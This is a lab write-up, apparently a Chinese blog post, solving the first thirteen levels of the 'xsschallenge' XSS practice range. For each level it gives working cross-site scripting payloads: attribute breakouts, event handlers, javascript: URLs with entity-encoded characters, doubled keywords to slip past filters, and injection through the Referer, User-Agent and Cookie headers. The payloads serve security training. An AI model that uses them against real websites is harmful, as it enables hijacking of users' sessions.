xsschallenge靶场练习1-13关

文章目录

第一关

观察页面

php 复制代码
http://192.168.80.139/xsschallenge/level1.php?name=test

尝试在name=后面输入最近基本的xss语法

js 复制代码
<script>alert(1)</script>

第二关

查看页面源代码

可以通过构造闭合

js 复制代码
"> <script>alert(1)</script>

第三关

查看页面源代码

发现过滤了特殊字符

通过单引号闭合,使用触发事件来绕过

js 复制代码
' οnclick='alert(/xss/)

第四关

过滤了< >标签

可是试着尝试上一关的方法

js 复制代码
" οnclick="alert(1)

第五关

通过查看源码得知,替换了scriptscr_ipt

使用大写绕过,看看是否可行

js 复制代码
<SCRIPT>alert(10)</SCRIPT>

发现还是不行,后端把 我们输入的大写,替换成了小写

尝试其他方法绕过,使用伪协议

js 复制代码
"> <a href=javascript:alert(1)>demo</a>

第六关

输入<script>alert(1)</script>测试,查看源代码,依旧替换了script

js 复制代码
"><Img sRc=# OnErRoR=alert(/xss/);>

第七关

使用上一关的通过代码,发现把on给过滤掉 了,还把href给过滤了

我们可以尝试点击事件,双写on,来绕过

js 复制代码
" oonnclick=alert(1)//

第八关

在页面输入框中输入" onclick=alert(1)//

查看页面源代码,发现双引号被做了转义,只能通过其他方式去绕过

可以↓方式去绕过

js 复制代码
j&#9;avasc&#10;r&#13;ipt:alert(/xss/)

第九关

js 复制代码
j&#9;avasc&#10;r&#13;ipt:alert('http://')

第十关

没有输入框可以在地址栏中绕过

js 复制代码
192.168.80.139/xsschallenge/level10.php?keyword=<script>alert(1)</script>

页面没有反应,

查看页面源代码,发现三个隐藏起来的输入框

可以尝试使用t_link\t_history\t_sort这三个 挨个尝试

发现只有 在t_sort输入的时候,才有变化

js 复制代码
http://192.168.80.139/xsschallenge/level10.php?t_sort=<script>alert(1)</script>

构造其他方法

js 复制代码
" type="test" οnclick="alert(1)

第十一关

代码审计

php 复制代码
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">

查看页面代码

发现t_refvalue值是第十关的 地址

js 复制代码
" type="button" οnclick="alert(1)

也可以使用bp抓取数据包修改Referer字段的值

第十二关

代码审计

php 复制代码
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
js 复制代码
" type="button" οnmοuseοver="alert(1)"

第十三关

代码审计

php 复制代码
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
php 复制代码
user=" type="button" οnmοuseοver="alert(1)"
相关推荐
Chengbei1124 分钟前
某211高校从一个文档到十八万条sfz泄露和命令执行
人工智能·安全·web安全·网络安全·系统安全·状态模式·安全架构
学网安的肆伍1 小时前
个人实验:常见端口风险详解 + NMAP 内网实战扫描教程
安全·网络安全·资产扫描
深邃-3 小时前
【Web安全】-基础环境安装:虚拟机安装,JDK环境安装(1)
java·开发语言·计算机网络·安全·web安全·网络安全·安全架构
bluechips·zhao15 小时前
帝国CMS 8.0 安全审计分析——代码审计
安全·网络安全·代码审计
W.A委员会15 小时前
常见网络攻击
网络·http·网络安全
大方子17 小时前
【好靶场】ETag权限混淆漏洞
网络安全·好靶场
星依网络1 天前
紧急预警!Redis未授权访问漏洞利用与防护实战指南
网络安全
PinTrust SSL证书1 天前
Geotrust企业型OV通配符SSL
网络协议·网络安全·小程序·https·云计算·ssl
Chengbei111 天前
Fortify_SCA_26.1版下载(OpenText SAST(Fortify SCA)26.1 windows/Linux/Mac)全版本下载
运维·安全·web安全·macos·网络安全·系统安全·代码审计
网络安全许木1 天前
自学渗透测试第18天(Powershell与远程连接)
linux·网络安全·渗透测试·kali linux